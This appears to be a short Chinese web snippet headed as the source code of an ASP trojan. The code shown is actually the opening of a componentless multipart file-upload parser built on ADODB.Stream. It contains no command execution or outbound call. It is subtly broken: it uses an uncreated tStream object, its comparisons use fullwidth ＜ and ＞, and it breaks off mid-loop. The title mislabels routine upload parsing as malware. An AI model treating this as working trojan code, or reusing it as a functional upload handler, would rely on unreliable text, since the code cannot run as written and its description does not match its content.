一个ASP木马程序的源代码

set Data_5xsoft = Server.CreateObject("adodb.stream")

Data_5xsoft.Type = 1

Data_5xsoft.Mode =3

Data_5xsoft.Open

Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)

Data_5xsoft.Position=0

RequestData =Data_5xsoft.Read

iFormStart = 1

iFormEnd = LenB(RequestData)

vbCrlf = chrB(13) & chrB(10)

sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)

iStart = LenB (sStart)

iFormStart=iFormStart+iStart+1

while (iFormStart + 10) ＜ iFormEnd

iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3

tStream.Type = 1

tStream.Mode =3

tStream.Open

Data_5xsoft.Position = iFormStart

Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart

tStream.Position = 0

tStream.Type = 2

tStream.Charset ="gb2312"

sInfo = tStream.ReadText

tStream.Close

iFormStart = InStrB(iInfoEnd,RequestData,sStart)

iFindStart = InStr(22,sInfo,"name=""",1)+6

iFindEnd = InStr(iFindStart,sInfo,"""",1)

sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))

if InStr (45,sInfo,"filename=""",1) ＞ 0 then

set theFile=new FileInfo

iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10

iFindEnd = InStr(iFindStart,sInfo,"""",1)

sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)

theFile.FileName=getFileName(sFileName)

theFile.FilePath=getFilePath(sFileName)